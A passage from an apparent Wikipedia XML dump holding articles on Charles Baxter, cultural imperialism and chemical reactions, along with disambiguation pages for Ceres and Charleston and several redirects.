*''Sonata for violin and piano'' (1917)

''See also'': [[List of compositions by Claude Debussy]]

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Debussy - Dieu qu il la fait bon regarder.ogg|title=Dieu qu'il la fait bon regarder|description=(&quot;God, how good it is to watch her&quot;)|format=[[Ogg]]}}
{{multi-listen item|filename=Debussy - Quant jai ouy le tambourin.ogg|title=Quant j'ai ouy le tambourin|description=(&quot;When I heard the tambourine&quot;)|format=[[Ogg]]}}
{{multi-listen item|filename=Debussy - Mazurka.ogg|title=Mazurka|description=(&quot;[[Mazurka]]&quot;)|format=[[Ogg]]}}
{{multi-listen end}}

==References and links==

===References===
*Reti, Rudolph (1958). ''Tonality, Atonality, Pantonality: A study of some trends in twentieth century music.'' Westport, Connecticut: Greenwood Press. ISBN 0313204780.
*Jean Barraqué, Debussy (Solfèges), Editions du Seuil, 1977. ISBN 2020002426 

===Further Reading===
Simon Trezise (Editor), The Cambridge Companion to Debussy, Cambridge University Press, 2003. ISBN 0521654785 
Jane Fulcher (Editor), Debussy and His World (The Bard Music Festival), Princeton University Press, 2001. ISBN 0691090424 

===External links===
{{Wikiquote}}
*[http://www.imslp.org/index.php?title=Category:Debussy%2C_Claude IMSLP] - International Music Score Library Project's Debussy page.
*[http://www.carolinaclassical.com/articles/debussy.html Claude Debussy and Impressionism]
*{{musicbrainz artist|id=be50643c-0377-4968-b48c-47e06b2e2a3b|name=Claude Debussy}}
*[http://homepage.mac.com/stevepur/music/debussy.html Steve's Debussy Page]

[[Category:1862 births|Debussy, Claude]]
[[Category:1918 deaths|Debussy, Claude]]
[[Category:20th century classical composers|Debussy, Claude]]
[[Category:French composers|Debussy, Claude]]
[[Category:Modernist composers|Debussy, Claude]]
[[Category:Opera composers|Debussy, Claude]]

[[bg:Клод Дебюси]]
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[[zh:克劳德·德彪西]]</text>
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  </page>
  <page>
    <title>Charles Baxter</title>
    <id>6261</id>
    <revision>
      <id>39672925</id>
      <timestamp>2006-02-15T01:59:38Z</timestamp>
      <contributor>
        <ip>198.144.45.119</ip>
      </contributor>
      <text xml:space="preserve">'''Charles Baxter''' is an [[United States|American]] author born in [[1947]] in
[[Minneapolis, Minnesota|Minneapolis]]. Baxter is known for blending a quiet, sometimes absurdist wit with a profound sympathy for his far-from-perfect characters; he has also attracted attention for the consummate brilliance of his prose. He is likewise celebrated as an engaging and even deeply moving performer of his own work in public readings. His writing has been compared to that of [[Anton Chekhov]], [[William Trevor]], [[Alice Munro]], and [[John Cheever]].

Baxter graduated from Macalester College in [[Saint Paul, Minnesota|Saint Paul]] and in 1974 received a Ph.D. in English from the [[University at Buffalo]] with a thesis on [[Djuna Barnes]]. He began his teaching career at Wayne State University in [[Detroit, Michigan|Detroit]]. He then moved to the [[University of Michigan]], where for many years he directed the [http://www.lsa.umich.edu/english/grad/mfa/ Creative Writing MFA] program. He is renowned for his generosity towards and patient encouragement of his students, many of whom have gone on to forge successful writing careers; they include [[Michael Byers]], [[Jardine Libaire]], [[Porter Shreve]], [[John Fulton]], [[Marc Nesbitt]] and [[Elwood Reid]]. He currently teaches at the [[University of Minnesota]].

==[[The novel|Novels]]==
*''First Light'' ([[1987]]). An eminent astrophysicist and her brother, a small-town Buick salesman, discover how they grew so far apart and the bonds of love that still keep them together.
*''Shadowplay'' ([[1993]]). As his wife does gymnastics and magic tricks, his crazy mother invents her own vocabulary, and his aunt writes her own version of the Bible, Five Oaks Assistant City Manager Wyatt Palmer tries to live a normal life and nearly succeeds, but...
*''The Feast of Love'' ([[2000]]), a sumptuously reimagined ''Midsummer Night's Dream'', comic, poignant, and sexy by turns. Nominated for the [[National Book Award]].
*''Saul and Patsy'' ([[2003]]). A teacher's marriage and identity are threatened by a dangerously obsessed teenage boy at his school.

==Short Story and Essay Collections==
*''Harmony of the World'' ([[1984]]). Winner of the [[Associated Writing Programs]] Award.
*''Through The Safety Net'' ([[1985]])
*''Gryphon'' ([[1985]])
*''A Relative Stranger'' ([[1990]])
*''Believers'' ([[1997]])
*''Burning Down The House: Essays on Fiction'' ([[1997]])
*''Gryphon''

==Poetry Collections==
*''Imaginary Paintings'' ([[1989]])
*''The South Dakota Guidebook'' ([[1974]])
*''Chameleon'' ([[1970]])

==Edited Works==
*''A William Maxwell Portrait: Memories and Appreciations'' ([[2004]])
*''Bringing the Devil to His Knees: The Craft of Fiction and the Writing Life'' ([[2001]])
*''Best New American Voices 2001'' ([[2001]])
*''The Business of Memory'' ([[1999]])

==Honors and Awards==
* National Book Award (Finalist) for ''The Feast of Love'', 2000
* The Award in Literature, American Academy of Arts and Letters, 1997
* Ohio University Spring Literary Festival (Honoree), 1995
* The Cohen Award for the best essay published in ''Ploughshares'', 1994
* The Daniel A. Pollack-Harvard Review award to Shadow Play, 1994
* The Gettysburg Review nonfiction prose award for &quot;Fiction and the Inner Life of Objects,&quot; 1994
* Michigan Author of the Year Award, 1993
* Lila Wallace-Reader's Digest Foundation Fellowship, 1992-95
* Lawrence Foundation Award, 1991
* Arts Foundation of Michigan Award, 1991
* Guggenheim Fellowship, 1985-86
* Michigan Council for the Arts Grant, 1984
* National Endowment for the Arts Grant, 1983
* Lawrence Foundation Award, 1982

==External links==
*[http://www.charlesbaxter.com/ Charles Baxter official website]
*[http://www.powells.com/authors/baxter.html/ Interview with the author] at Powells.com.

[[Category:1947 births|Baxter, Charles]]
[[Category:Living people|Baxter, Charles]]
[[Category:American novelists|Baxter, Charles]]
[[Category:American short story writers|Baxter, Charles]]
[[Category:American poets|Baxter, Charles]]
[[Category:American essayists|Baxter, Charles]]
[[Category:American book editors|Baxter, Charles]]
[[Category:University at Buffalo alumni|Baxter, Charles]]</text>
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  </page>
  <page>
    <title>Ceres (disambiguation)</title>
    <id>6262</id>
    <revision>
      <id>41609670</id>
      <timestamp>2006-02-28T14:10:30Z</timestamp>
      <contributor>
        <username>Gurch</username>
        <id>241822</id>
      </contributor>
      <minor />
      <comment>asteriod -&gt; asteroid</comment>
      <text xml:space="preserve">'''Ceres''' may refer to:
__NOTOC__
== People ==
* [[Ceres (mythology)]], the Roman goddess of agriculture.
* '''Ceres''', a fictional character in [[Ceres, Celestial Legend]] (Ayashi no Ceres).

== Places ==
===[[Earth]]===
* [[Ceres, Victoria]], in Australia.
* [[Ceres, Goiás]], in Brazil.
* [[Ceres, Scotland]]
* [[Ceres, South Africa]]
====[[United States]]====
* [[Ceres, California]]
* [[Ceres, Georgia]]
* [[Ceres, Iowa]]
* [[Ceres, New York]]
* [[Ceres, Oklahoma]]
* [[Ceres, Virginia]]
* [[Ceres, Washington]]
* [[Ceres, West Virginia]]
===[[Asteroid belt]]===
* [[1 Ceres]], the first and largest asteroid in the asteroid belt to be discovered.

===Fictional places===
* [[Areas in the Metroid Series#Ceres Space Colony|Ceres Space Colony]], an area in the Super Metroid video game.

== Business ==
* [[Ceres Brewery]], a brewery in Aarhus, Denmark.
* [[Ceres Hellenic Shipping Enterprises]], a Greek shipping company.

== in fiction ==
* [[Ceres, Celestial Legend]] (Ayashi no Ceres) - an [[anime]]/[[manga]] work

== Other uses ==
* [[Ceres (workstation)]], a computer workstation.
* [[Ceres series]], a series of postage stamps representing the goddess Ceres.

== [[Acronym]]s ==
* [[Centre for Education and Research in Environmental Strategies]], a community environmental park in Melbourne, Australia.
* [[CERES|Clouds and the Earth's Radiant Energy System]], an on-going NASA metereological experiment.


{{disambig}}


&lt;!--Other languages--&gt;
[[da:Ceres]]
[[de:Ceres]]
[[es:Ceres]]
[[fr:Cérès]]
[[ko:세레스]]
[[hr:Ceres]]
[[it:Ceres]]
[[he:קרס]]
[[la:Ceres]]
[[nl:Ceres]]
[[ja:セレス]]
[[no:Ceres (pekere)]]
[[pl:Ceres]]
[[pt:Ceres]]
[[ro:Ceres]]
[[ru:Церера]]
[[sl:Ceres (razločitev)]]
[[sv:Ceres]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Robert Darwin</title>
    <id>6263</id>
    <revision>
      <id>15904419</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Charles Darwin]]
</text>
    </revision>
  </page>
  <page>
    <title>Climate Change</title>
    <id>6266</id>
    <revision>
      <id>15904421</id>
      <timestamp>2004-01-22T11:55:14Z</timestamp>
      <contributor>
        <username>Mirv</username>
        <id>29678</id>
      </contributor>
      <comment>change redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Climate change]]</text>
    </revision>
  </page>
  <page>
    <title>Cultural imperialism</title>
    <id>6267</id>
    <revision>
      <id>42127202</id>
      <timestamp>2006-03-04T00:19:20Z</timestamp>
      <contributor>
        <ip>86.137.93.26</ip>
      </contributor>
      <comment>Inappropriate adjective post-1707, especially given Scottish promience in British imperialism</comment>
      <text xml:space="preserve">'''Cultural imperialism''' is the practice of promoting the [[culture]] or language of one nation in another. It is usually the case that the former is a large, economically or militarily powerful nation and the latter is a smaller, less affluent one. ''Cultural imperialism'' can take the form of an active, formal policy or a general attitude.

[[Empire]]s throughout history have been established using war and physical compulsion (military [[imperialism]]).  In the long term, populations have tended to be absorbed into the dominant culture, or acquire its attributes indirectly.  

== Early History ==

One of the first known examples of cultural imperialism was extinction of the [[Etruscan civilization|Etruscan]] culture and [[Etruscan language|language]] caused by the influence of the [[Roman Empire]].

The [[ancient Greece|Greek]] culture built gyms, theatres and public baths in places that its adherents conquered (such as ancient Judea, where Greek cultural imperialism sparked a popular revolt), with the effect that the populations became immersed in that culture.  The spread of the ''[[koine]]'' (common) [[Greek language]] was another large factor in this immersion.  

As exploration of the Americas increased, European nations including [[England]], [[France]], [[Belgium]], the [[Netherlands]], [[Spain]] and [[Portugal]] all raced to claim territory in hopes of generating increased economic wealth for themselves. In these new colonies, the European conquerors imposed their language and culture.

=== English cultural imperialism === 

A revealing instance of cultural imperialism is the [[Prayer Book rebellion]] of [[1549]], where the English state sought to suppress non-English languages with the English language [[Book of Common Prayer]]. In replacing [[Latin]] with English, and under the guise of suppressing Catholicism, English was effectively imposed as the language of the Church, with the intent of it becoming the language of the people. At the time people in many areas of [[Cornwall]] did not speak or understand English. Many speakers of the [[Cornish language]] were massacred by the King's army while protesting against the imposition of an English Prayer book. Their leaders were executed and the people suffered numerous reprisals. 

Throughout the [[18th century|18th]] and [[19th century]] the dominant [[United_Kingdom|British]] establishment promoted the English languages to the detriment of others within the British Isles (such as the [[Welsh language]], [[Irish language]] and [[Scottish Gaelic language]]) by outlawing them or otherwise marginalising their speakers. Many other languages had almost or totally been wiped out by this point including [[Cornish language|Cornish]] and [[Manx language|Manx]]. Scots Gaelic was confined to the [[Highlands]] and Islands of the north, and Irish speakers were only to be found on the western seaboard.

== 20th century cultural imperialism ==

Cultural imperialism in the [[20th century|twentieth]] century was primarily connected with the [[United States]] and with the [[Soviet Union]], and to a lesser extent with other countries that exert strong influence on neighboring nations. Most countries outside the US feel that the high degree of cultural export through business and popular culture--popular and academic books, films, music, and television--threatens their unique ways of life or moral values where such cultural exports are popular.  Some countries, including [[France]], have policies that actively oppose [[Americanisation]]. Some American cultural producers such as [[Reader's Digest]] have responded to or altogether avoided such resistance by adapting their content (or the surface of it) to local audiences.

[[China]] has, in various periods over the 20th century, pursued repressive policies towards the indigenous cultures and religions of [[Tibet]] and [[Xinjiang]], and has encouraged [[Han Chinese]] immigration into those regions, for example, through the [[Xinjiang Production and Construction Corps]]. This has been widely viewed as cultural imperialism by exile and dissident groups abroad and their supporters. The nationwide promotion of a [[Putonghua|standardized Chinese language]] has also sparked debate, both in [[Mainland China]] and [[Taiwan]], about whether this constitutes a form of cultural imperialism over [[Chinese spoken language|regional dialects]].

[[Canada]] is also grappling with the ever-potent influence of the United States. Aside from the fact that American businesses are purchasing Canadian industries and resources, the Canadian population is continuously exposed to the American media.  Whether this can be fairly termed &quot;cultural imperialism&quot; or not is open to debate, as most Canadian media outlets broadcast American content voluntarily simply because it attracts higher viewership from Canadian audiences; the most popular music, movies, and television programs in Canada are frequently American. Whatever the label for US influence, various Canadian governments have practiced [[Canadian cultural protectionism]] in response.

Representatives of [[Al-Qaida|al-Qaida]] have stated that their attacks on US interests have been motivated in part by a reaction to perceived US cultural imperialism.  The extent to which American cultural imperialism is an important source of hostility in the [[Middle East]], and the corresponding implications for the American-led &quot;[[War on Terror]]&quot; is a matter of great controversy.

== Theory and Debate ==

It should be noted that 'cultural imperialism' can refer to either the forced acculturation of a subject population, or to the voluntary embracing of a foreign culture by individuals who do so of their own free will.  Since these are two very different referents, the validity of the term has been called into question. The term cultural imperialism is understood differently in particular discourses. E.g. as &quot;[[media imperialism]]&quot; or as &quot;discourse of nationality&quot; (Tomlinson, 1991). 

Cultural influence can be seen by the &quot;receiving&quot; culture as either a threat to or an enrichment of its [[cultural identity]]. It seems therefore useful to distinguish between cultural imperialism as an (active or passive) attitude of superiority, and the position of a culture or group that seeks to complement its own cultural production, considered partly deficient, with imported products or values. 

The imported products or services can themselves represent, or be associated with, certain values (such as [[consumerism]]). The &quot;receiving&quot; [[culture]] does not necessarily perceive this link, but instead absorbs the foreign culture passively through the use of the foreign goods and services. Due to its somewhat concealed, but very potent nature, this phenomenon is described by some experts as &quot;''banal imperialism''.&quot; The newly globalized economy of the late 20th and early 21st century has facilitated this process through the use of new information technology. However, it is still argued whether this process is something entirely new or just a continuation of imperialism as a whole. This kind of imperialism is derived from what is called, more positively, &quot;[[soft power]].&quot;

=== Cultural Diversity ===

One of the reasons often given for opposing any form of 'cultural imperialism,' voluntary or otherwise, is the preservation of [[cultural diversity]], a goal seen as analogous to the preservation of [[biodiversity|ecological diversity]].  Proponents of this idea argue either that such diversity is valuable in itself, or instrumentally valuable because it makes available more ways of solving problems and responding to catastrophes, natural or otherwise.

Opponents of this idea deny the validity of the analogy to biodiversity, and/or the validity of the arguments for preserving biodiversity itself.

=== Cultural Fascism ===

Some claim that the attempt to preserve the purity of a culture against noncoercive incursions is itself a far worse imposition.  Proponents of this view argue that not only ought people to have the right to choose what media and other products they consume, including those of external cultures, but also that this is part of a kind of [[nationalism]] that leads in a dangerous direction.  Not only is &quot;Cultural Imperialism&quot; a misnomer and an [[intellectual dishonesty|intellectually invalid concept]], but is by nature a culturally [[fascism|fascist]] accusation or retort against cosmopolitanism, and, ultimately, [[racism|racist]]. This is part of a larger world view known as [[Circular Political Theory]] (the farther you go to the extreme left, the closer you come to the extreme right, and vice versa), which interprets so-called &quot;[[anti-imperialism|anti-imperialist]]&quot; movements and the &quot;[[New Left|new leftism]]&quot; as merely superficial reworkings of classic fascism.

Opponents of this idea respond that it trivializes the idea of fascism, and that nationalism or cultural pride as such is not intrinsically dangerous.  Some add that the root of its mistake is to mischaracterize fascism by its surface traits, ignoring the importance of its social base; similar rhetoric in the mouths of the powerful and the powerless has a different meaning. On the other hand, one could retort that the very idea of cultural imperialism itself trivializes imperialism, as revealed by a comparison of Japanese atrocities in China in the late 1930s to the influence of American jazz and film in Paris during that same period.

=== Said and Post-Colonial Studies ===

The writer [[Edward Said]], one of the founders of the field of [[post-colonialism|post-colonial study]], wrote extensively on the subject of cultural imperialism, and his work is considered by many to form an important cornerstone in this area of study. His work attempts to highlight the inaccuracies of many assumptions about cultures and societies and is largely informed by [[Michel Foucault]]'s concepts of discourse and [[Power (sociology)|power]].  The relatively new academic field of post-colonial theory has been the source for most of the in-depth work on the idea of discursive and other non-military mechanisms of imperialism, and its validity is disputed by those who deny that these forms are genuinely imperialistic.

== See also ==

* [[Cultural superiority]]
* [[Transculturation]]
* [[Media and ethnicity]]


{{Culture-stub}}

[[Category:Cultural studies]]
[[Category:Sociology]]
[[Category:Imperialism]]

[[es:Imperialismo cultural]]
[[fi:Kulttuuri-imperialismi]]
[[sv:Kulturimperialism]]</text>
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    <title>Clock wipe</title>
    <id>6269</id>
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      <timestamp>2005-04-28T21:02:46Z</timestamp>
      <contributor>
        <username>Grm wnr</username>
        <id>72203</id>
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      <comment>Merged with [[Wipe]]</comment>
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  <page>
    <title>Chemical reaction</title>
    <id>6271</id>
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      <id>42044868</id>
      <timestamp>2006-03-03T12:23:22Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/82.198.250.2|82.198.250.2]] ([[User talk:82.198.250.2|talk]]) to last version by Ahoerstemeier</comment>
      <text xml:space="preserve">A '''chemical reaction''' is a process that results in the interconversion of [[chemical substance]]s &lt;ref&gt;IUPAC [[Gold Book]] [http://www.iupac.org/goldbook/C01033.pdf Definition]&lt;/ref&gt;. The substance or substances initially involved in a chemical reaction are called [[reactants]]. Chemical reactions are characterized by a [[chemical change]] and it yields one or more [[Product (chemistry)|product]]s which are different from the reactants.  Classically, chemical reactions encompass changes that strictly involve the motion of [[electrons]] in the forming and breaking of [[chemical bond]]s, although the general concept of a chemical reaction, in particular the notion of a [[chemical equation]], is applicable to [[Feynman diagram|transformations of elementary particles]], as well as [[nuclear reaction]]s. 

Many different chemical reactions are used in combinations in [[chemical synthesis]] in order to get a desired product. In [[biochemistry]], series of chemical reactions form [[metabolic pathways]], since straight synthesis of a product would be energetically impossible in conditions within a cell. Chemical reactions are also divided into [[organic reaction]]s and [[inorganic chemical reaction|inorganic reaction]]s.

==Reaction types==
There are six major classifications of chemical reactions. Some common and widely used terms are:

*[[Isomerisation]], in which a chemical compound undergoes a structural rearrangement without any change in its net atomic composition; see [[stereoisomerism]]
*[[Combination reaction|Direct combination]] or [[Chemical synthesis|synthesis]], in which two or more chemical elements or compounds unite to form a more complex product:
:: 2H&lt;sub&gt;2&lt;/sub&gt; (g) + O&lt;sub&gt;2&lt;/sub&gt; (g) → 2H&lt;sub&gt;2&lt;/sub&gt;O (l)
*[[Chemical decomposition]] or analysis, in which a compound is decomposed into smaller compounds: 
:: 2H&lt;sub&gt;2&lt;/sub&gt;O (l) → 2H&lt;sub&gt;2&lt;/sub&gt; (g) + O&lt;sub&gt;2&lt;/sub&gt;(g)
*[[Single displacement reaction|Single displacement]] or [[substitution]], characterized by an element being displaced out of a compound by a more [[Reactivity series|reactive]] element:
:: 2Na(cr) + 2HCl (aq) → 2NaCl (aq) + H&lt;sub&gt;2&lt;/sub&gt; (g)
*[[Double displacement reaction|Double displacement]] or coupling substitution , in which two compounds in [[aqueous]] [[solution]] (usually [[ionic]]) exchange elements or ions to form different compounds:
:: NaCl (aq)  + AgNO&lt;sub&gt;3&lt;/sub&gt; (aq) → NaNO&lt;sub&gt;3&lt;/sub&gt; (aq) + AgCl (cr)
*[[Combustion]], in which any combustible substance combines with an oxidizing element, usually oxygen, to generate heat and form oxidized, usually less complex products:
::C&lt;sub&gt;10&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt; (g) + 12O&lt;sub&gt;2&lt;/sub&gt; (g) → 10CO&lt;sub&gt;2&lt;/sub&gt; (g) + 4H&lt;sub&gt;2&lt;/sub&gt;O (l)
::[[methylene sulfide|CH&lt;sub&gt;2&lt;/sub&gt;S]] + 6 [[fluorine|F&lt;sub&gt;2&lt;/sub&gt;]] &amp;rarr; [[carbon tetrafluoride|CF&lt;sub&gt;4&lt;/sub&gt;]] + 2 [[hydrogen fluoride|HF]] + [[sulfur hexafluoride|SF&lt;sub&gt;6&lt;/sub&gt;]] + heat

Some branches of chemistry include any minor changes in [[chemical conformation]] in the reaction types, while others consider these changes merely as physical properties of a compound. 

The collision of more than two particles into the ordered structure necessary to perform chemical transformations is extremely unlikely; which is why ternary reactions in practice are not observed.  A chemical reaction may require three or more reagents, but the process can generally be decomposed into a stepwise series or a set of [[stepwise reaction]]s of the above.

[[list of reactions|The large diversity of chemical reactions]] makes it difficult to establish simple criteria for functional (as opposed to mechanistic) classification. However, some kinds of reactions have similarities which make it possible to define some larger groups. A few examples are:

* [[Organic reaction]]s encompass several different kinds of reactions involving compounds which have [[carbon]] as the main element in their molecular structure. These reactions occur mostly according to, within, by, or via [[functional group]]s. Reactions in [[petrochemistry]] aren't always classified as organic.
* [[Redox reaction]]s involve augmenting or decreasing the electrons associated with a particular atom. according to its [[oxidation number]].
* [[Combustion]], in which a substance reacts with an oxidizing element, such as [[oxygen]] gas.

Reactions are also classified according to their mechanism:
*Reactions of ions, e.g. [[disproportionation]] of [[hypochlorite]]
*Reactions with reactive ionic intermediates, e.g. reactions of [[enolate]]s
*[[Radical]] reactions, e.g. combustion at high temperature
*Reactions of [[carbene]]s

==Thermochemistry==
''See main article'': [[Thermochemistry]].

[[Thermochemistry]] deciphers whether a specific chemical reaction can or cannot occur. [[Thermodynamics]] (or what is now known as [[equilibrium thermodynamics|equilibrium thermodynamics]]) understands the reaction in terms of the initial and final states of the reaction mixture. 

Reactions very seldom occur directly. Usually, reactants must collide to form an [[activated complex]]. This complex has a higher internal energy than the original reactants combined, having gained some from the [[kinetic energy]] of the reactant substances' collision. This energy allows for the rearrangement of bonds which constitutes the reaction. In some reactions, the reactants may pass through several [[reactive intermediates]] before becoming products.

Thermodynamics does not attempt to figure out the process by which a reaction occurs. This field of study is taken up by the field of [[chemical kinetics]]. Another question &quot;How fast is the reaction?&quot; is also left completely unanswered by it. [[Chemical kinetics]] attempts to put all these phenomena into perspective.

=== Chemical equilibrium ===
Every chemical reaction is, in theory, reversible. In a ''forward reaction'' the substances defined as [[reactant]]s are converted to [[product (chemistry)|products]]. In a ''reverse reaction'' products are converted into reactants.

[[Chemical equilibrium]] is the state in which the forward and reverse reaction rates are equal, thus preserving the amount of reactants and products. However, a reaction in equilibrium can be driven in the forward or reverse direction. This is done by changing the reaction conditions such as temperature or pressure. [[Le Chatelier's principle]] can be used to predict whether products or reactants will be formed.

Although all reactions are reversible to some extent, some reactions can be classified as irreversible. An ''irreversible reaction'' is one that &quot;goes to completion.&quot; This phrase means that nearly all of the reactants are used to form products. These reactions are very difficult to reverse even under extreme conditions.

=== Exothermic reactions ===
[[image:ac_com.png|400px|thumb|right|A sketch of an exothermic reaction]]
According to energy balance criteria, that is, chemical reaction equilibria criteria, any [[closed system]] will tend to minimize its [[free energy]]. Without any outside influence, any reaction mixture, too, will try to do the same. For many cases, an analysis of the [[enthalpy]] of the system will give a decent account of the energetics of the reaction mixture. 
The enthalpy of a reaction is calculated using standard [[reaction enthalpy|reaction enthalpies]] and the [[Hess' law of constant heat summation]]. Many of these enthalpies may be found in beginners' books on thermodynamics.
For example, consider the combustion of [[methane]] in [[oxygen]]: 

:CH&lt;sub&gt;4&lt;/sub&gt; + 2&amp;nbsp;O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; CO&lt;sub&gt;2&lt;/sub&gt; + 2&amp;nbsp;H&lt;sub&gt;2&lt;/sub&gt;O

By calculating the amounts of energy required to break all the bonds on the left (&quot;before&quot;) and right (&quot;after&quot;) sides of the equation using collected data, it is possible to calculate the energy difference between the reactants and the products. This is referred to as &amp;Delta;''H'', where &amp;Delta; (Delta) means difference, and ''H'' stands for [[enthalpy]], a measure of energy which is equal to the heat transferred at constant pressure. &amp;Delta;''H'' is usually given in units of [[Joule|kilojoules]] (kJ) or in [[Calorie|kilocalories]] (kcal). 

If &amp;Delta;''H'' is negative for the reaction, then energy has been released often in the form of heat. This type of reaction is referred to as an [[exothermic reaction]] (literally, outside heat, or throwing off heat). An exothermic reaction is more favourable and thus more likely to occur. An example reaction is [[combustion]], known from everyday experience, since burning gas in air produces heat. 

=== Endothermic reactions ===
A reaction may have a positive &amp;Delta;''H''. If a reaction has a positive &amp;Delta;''H'', it consumes energy as the reaction moves towards completion. This type of reaction is called an [[endothermic reaction]] (literally, inside heat, or absorbing heat).

The above rule, &quot;Exothermic reactions are favourable&quot;, is usually true. However, there may be situations where exothermic reactions may not be favourable. This happens when the stability obtained due to loss of enthalpy is off set by a corresponding decrease in [[entropy]] (a measure of disorder). 
The exact rule is that a reaction is favourable when the [[Gibbs free energy]] of that reaction is negative where &amp;Delta;''G'' = &amp;Delta;''H'' &amp;minus; ''T''&amp;Delta;''S''; &amp;Delta;''G'' being the change in Gibbs free energy, &amp;Delta;''H'' being the change in enthalpy, and &amp;Delta;''S'' is the change in entropy

A reaction is called [[spontaneous process|spontaneous]] if its thermodynamically favoured, by that meaning that it causes a net increase on [[entropy]]. Spontaneous reactions (in opposition to non-spontaneous reactions) do not need external perturbations (such as energy supplement) to happen. In a system at chemical equilibrium, it is expected to have larger concentrations of the substances formed by the spontaneous direction of the process. 

Thus, in a global [[isolated system]] (which it strictly isn't, see [[entropy]]), spontaneous reactions may be understood to occur without [[Intelligence_%28trait%29|human]] interference. Most spontaneus reactions in this system are exothermic (such as [[rust]]ing) or [[metamorphism]], thus increasing the global entropy, though [[photosynthesis]] is an important exeption (in a global system).

==Chemical kinetics==
''See main article:'' [[Chemical kinetics]].

The [[reaction rate|rate]] of a chemical reaction is a measure of how the [[concentration]] of the involved substances changes with time. Analysis of reaction rates is important for several applications, such as in [[chemical engineering]] or in [[chemical equilibrium]] study. Rates of reaction depends basically on:

*[[Reactant]] [[concentration]]s, which usually make the reaction happen at a faster rate if raised,
*[[Surface Area]], the amount of the substance being used,
*[[Pressure]],  By increasing the pressure, you squeeze the molecules together so you will increase the frequency of collisions between the molecules.
*[[Activation energy]], which is defined as the amount of energy required to make the reaction start and carry on spontaneously. Higher activation energy implies that a reaction will be harder to start and, therefore, slower.
*[[Temperature]], which hastens reactions if raised, because higher temperature means that the involved species will have more energy, thus making the reaction easier to happen,
*The presence or absence of a [[catalyst]]. Catalysts are substances which increases the speed of a reaction by lowering the [[activation energy]] needed for the reaction to take place. A catalyst is not destroyed or changed during a reaction, so it can be used again.

Reaction rates are related to the [[concentrations]] of substances involved in reactions, as quantified by the [[mass action|law of mass action]]. Reactions whose rates are independent of reactant concentrations are called [[zero-order reaction]]s.

==See also==
*[[List of reactions]] 
*[[List of publications in chemistry]]

==External links ==
* [http://www.purchon.com/chemistry/rates.htm#surface Rate of reaction]
* [http://www.safetec.net Chemical Management]

== References ==
&lt;references/&gt;

[[Category:Chemical reactions|*]]
[[Category:Chemistry]]

[[ar:تفاعل كيميائي]]
[[ca:Reacció química]]
[[da:Kemisk reaktion]]
[[de:Chemische Reaktion]]
[[et:Keemiline reaktsioon]]
[[el:Χημική αντίδραση]]
[[es:Reacción química]]
[[fr:Réaction chimique]]
[[ko:화학 반응]]
[[io:Kemiala reakto]]
[[id:Reaksi kimia]]
[[it:Reazione chimica]]
[[he:תגובה כימית]]
[[lv:Ķīmiskās reakcijas]]
[[lt:Cheminė reakcija]]
[[hu:Kémiai reakció]]
[[mk:Хемиска реакција]]
[[nl:Chemische reactie]]
[[nds:Chemische Reaktschoon]]
[[ja:化学反応]]
[[no:Kjemisk reaksjon]]
[[nn:Kjemisk reaksjon]]
[[pl:Reakcja chemiczna]]
[[pt:Reacção química]]
[[ru:Химическая реакция]]
[[simple:Chemical reaction]]
[[sk:Chemická reakcia]]
[[sr:Хемијска реакција]]
[[su:Réaksi kimiawi]]
[[fi:Kemiallinen reaktio]]
[[sv:Kemisk reaktion]]
[[tr:Tepkime]]
[[uk:Хімічна реакція]]
[[zh:化学反应]]</text>
    </revision>
  </page>
  <page>
    <title>Charleston</title>
    <id>6272</id>
    <revision>
      <id>40543960</id>
      <timestamp>2006-02-21T08:59:39Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nl</comment>
      <text xml:space="preserve">'''Charleston''' may refer to:

* [[Charleston (dance)]]
* [[USS Charleston|USS ''Charleston'']], the name of several ships of the United States Navy 

== Places ==
In '''New Zealand''':
* [[Charleston, New Zealand]]

In '''Scotland''':
* [[Charleston, Angus]], near [[Dundee]].
* [[Charleston, Renfrewshire]], near [[Paisley]]

In the '''United Kingdom''':
* [[Charleston, Sussex]], the name of a house in Sussex, United Kingdom, where the Bloomsbury painters Duncan Grant and Vanessa Bell lived and worked

In the '''United States''':
* [[Charleston, Arkansas]]  
* [[Charleston, Illinois]]  
* [[Charleston, Kentucky]]
* [[Charleston, Mississippi]]
* [[Charleston, Missouri]]
* [[Charleston, New York]], located in central New York state
* [[Charleston, Staten Island]], a neighborhood of Staten Island, New York City
* [[South Charleston, Ohio]]
* [[Charleston, Oregon]]
* [[Charleston, South Carolina]], a major U.S. city
* [[Charleston County, South Carolina]]
* [[North Charleston, South Carolina]]
* [[Charleston, Tennessee]]
* [[Charleston, West Virginia]], the state capital

{{disambig}}

[[de:Charleston]]
[[fr:Charleston]]
[[ko:찰스턴]]
[[nl:Charleston]]
[[ja:チャールストン]]
[[pl:Charleston]]
[[pt:Charleston]]
[[sv:Charleston]]</text>
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  </page>
  <page>
    <title>Chivalry and Sorcerery</title>
    <id>6275</id>
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      <id>15904429</id>
      <timestamp>2003-01-03T15:42:45Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
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      <comment>#REDIRECT [[Chivalry and Sorcery]]</comment>
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  </page>
  <page>
    <title>Casiquiare canal</title>
    <id>6276</id>
    <revision>
      <id>40361335</id>
      <timestamp>2006-02-20T01:33:41Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Casiquiare''' is a [[distributary]] of the upper [[Orinoco River|Orinoco]], which flows southward into the [[Rio Negro]]. As such, it forms a unique natural canal between the Orinoco and [[Amazon River|Amazon]] river systems; it is the largest river on the planet that links two major river systems, a so called [[bifurcation (river)|bifurcation]].

==Discovery==

